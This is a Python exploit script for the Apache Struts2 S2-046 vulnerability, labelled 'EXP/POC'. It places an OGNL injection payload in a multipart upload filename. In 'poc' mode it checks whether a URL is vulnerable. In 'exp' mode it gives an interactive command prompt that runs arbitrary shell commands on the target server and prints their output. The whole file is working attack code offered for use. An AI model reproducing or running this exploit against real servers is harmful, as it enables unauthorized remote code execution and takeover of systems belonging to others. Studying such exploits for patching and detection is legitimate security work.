import requests
import argparse

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3",
    'Content-Type': 'multipart/form-data; boundary=---------------------------735323031399963166993862150',
    'Connection': 'close'
}

payload = '''%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'''

post_data = '''-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"foo\"; filename="{payload}\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--'''

def poc(url):
    try:
        check_payload = payload.replace('CMD', 'echo mingy')
        check_req = requests.post(url, headers=headers, data=post_data.format(payload=check_payload), stream=True)

        try:
            for chunk in check_req.iter_content(chunk_size=4096, decode_unicode=True):
                if 'mingy' in chunk:
                    print(f">>> 存在S2-046漏洞: {url}")
                    return True
        except requests.exceptions.ChunkedEncodingError:
            pass
        except Exception:
            pass
    except Exception:
        pass
    return False

def exp(url):
    while True:
        cmd = input("cmd>>> ")
        if cmd == "quit" or cmd == "exit":
            break
        exp_payload = payload.replace('CMD', cmd)
        exp_req = requests.post(url, headers=headers, data=post_data.format(payload=exp_payload), stream=True)
        
        try:
            for chunk in exp_req.iter_content(chunk_size=4096, decode_unicode=True):
                if chunk:
                    print(chunk, end="")
        except requests.exceptions.ChunkedEncodingError:
            pass
        except Exception:
            pass

def main():
    p = argparse.ArgumentParser(description='S2-046 EXP/POC -- By MINGY')
    p.add_argument('-u', dest='url', type=str, help="URL to test")
    p.add_argument('-m', dest='model', choices=['poc', 'exp'], type=str, help="model")
    args = p.parse_args()
    
    if not args.url:
        print("please set url, -u url")
        return
    if not args.model:
        print("please set model, -m poc/exp")
        return
        
    if args.model == 'poc':
        poc(args.url)
    elif args.model == 'exp':
        exp(args.url)

if __name__ == '__main__':
    main()
